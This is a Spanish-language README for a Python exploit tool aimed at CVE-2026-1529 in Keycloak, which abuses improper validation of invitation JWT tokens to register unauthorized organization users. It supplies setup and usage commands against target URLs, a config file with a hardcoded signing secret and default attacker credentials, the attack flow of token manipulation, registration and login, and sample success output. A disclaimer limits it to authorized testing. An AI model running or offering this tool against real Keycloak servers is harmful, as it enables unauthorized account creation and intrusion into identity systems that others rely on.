
Keycloak: Registro de organización no autorizado mediante una validación incorrecta del token de invitación
CVE-2026-1529: Keycloak - Registro de organización no autorizado mediante validación incorrecta del token de invitación
⚠️ ADVERTENCIA: Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal.
Esta herramienta demuestra una vulnerabilidad crítica en Keycloak (CVE-2026-1529) que permite el registro de organizaciones no autorizadas mediante la validación incorrecta de tokens de invitación JWT. El exploit manipula los tokens de invitación para obtener acceso no autorizado a instancias de Keycloak.
Detalles de la Vulnerabilidad:
# Clonar el repositorio
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Crear entorno virtual
python3 -m venv venv
source venv/bin/activate # En Windows: venv\Scripts\activate
# Instalar dependencias
pip install -r requirements.txt
# Crear estructura de directorios
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Descargar archivos de releases o copiar manualmente
# Luego instalar dependencias
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Script principal del exploit
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
├── config/
│ └── default_config.json # Archivo de configuración
├── utils/
│ ├── __init__.py # Inicializador del paquete
│ ├── http_utils.py # Utilidades del cliente HTTP
│ ├── jwt_utils.py # Manipulación de JWT
│ └── crypto_utils.py # Utilidades criptográficas
├── logs/ # Registros generados automáticamente
└── output/
└── reports/ # Informes de explotación
python3 keycloak-exploit.py https://target-keycloak.com
# Con token de invitación personalizado
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Con ID de organización personalizado
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Con archivo de configuración personalizado
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Habilitar registro de depuración
python3 keycloak-exploit.py -d https://target.com
# Mostrar ayuda
python3 keycloak-exploit.py -h
# Mostrar versión
python3 keycloak-exploit.py -v
| Argumento | Corto | Descripción |
|---|---|---|
target | - | URL de Keycloak objetivo (obligatorio) |
--token | -t | Token de invitación personalizado |
--org-id | -o | ID de organización personalizado |
--config | -c | Ruta al archivo de configuración |
--debug | -d | Habilitar registro de depuración |
--version | -v | Mostrar información de versión |
--help | -h | Mostrar mensaje de ayuda |
Edite config/default_config.json para personalizar los parámetros del exploit:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
| Sección | Parámetro | Descripción | Predeterminado |
|---|---|---|---|
exploit | default_username | Nombre de usuario para el registro | admin_user_2026 |
exploit | default_password | Contraseña para el registro | KeycloakCVE2026! |
exploit | default_email | Correo electrónico para el registro | [email protected] |
exploit | timeout | Tiempo de espera de solicitudes HTTP (segundos) | 30 |
exploit | max_retries | Máximo de reintentos HTTP | 3 |
jwt | algorithm | Algoritmo de firma JWT | HS256 |
jwt | secret_key | Clave secreta JWT | Personalizado |
jwt | token_expiry | Caducidad del token (segundos) | 3600 |
El exploit funciona en los siguientes pasos:
Verificación de Vulnerabilidad
Generación/Manipulación de Tokens
Registro de Usuario
Verificación de Inicio de Sesión
Generación de Informes
output/reports/┌─────────────────┐
│ Verificación │
│ del Objetivo │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Generar/Obtener│
│ Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Manipular Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Registrar Usuario│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Prueba de │
│ Inicio Sesión │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Generar Informe│
└─────────────────┘
============================================================
RESULTADOS DEL EXPLOIT CVE-2026-1529
============================================================
✓ El objetivo es vulnerable a CVE-2026-1529
🎯 ¡EXPLOIT EXITOSO!
Nombre de usuario: admin_user_2026
Contraseña: KeycloakCVE2026!
Correo electrónico: [email protected]
Enlace de inicio de sesión: https://target.com/realms/master/account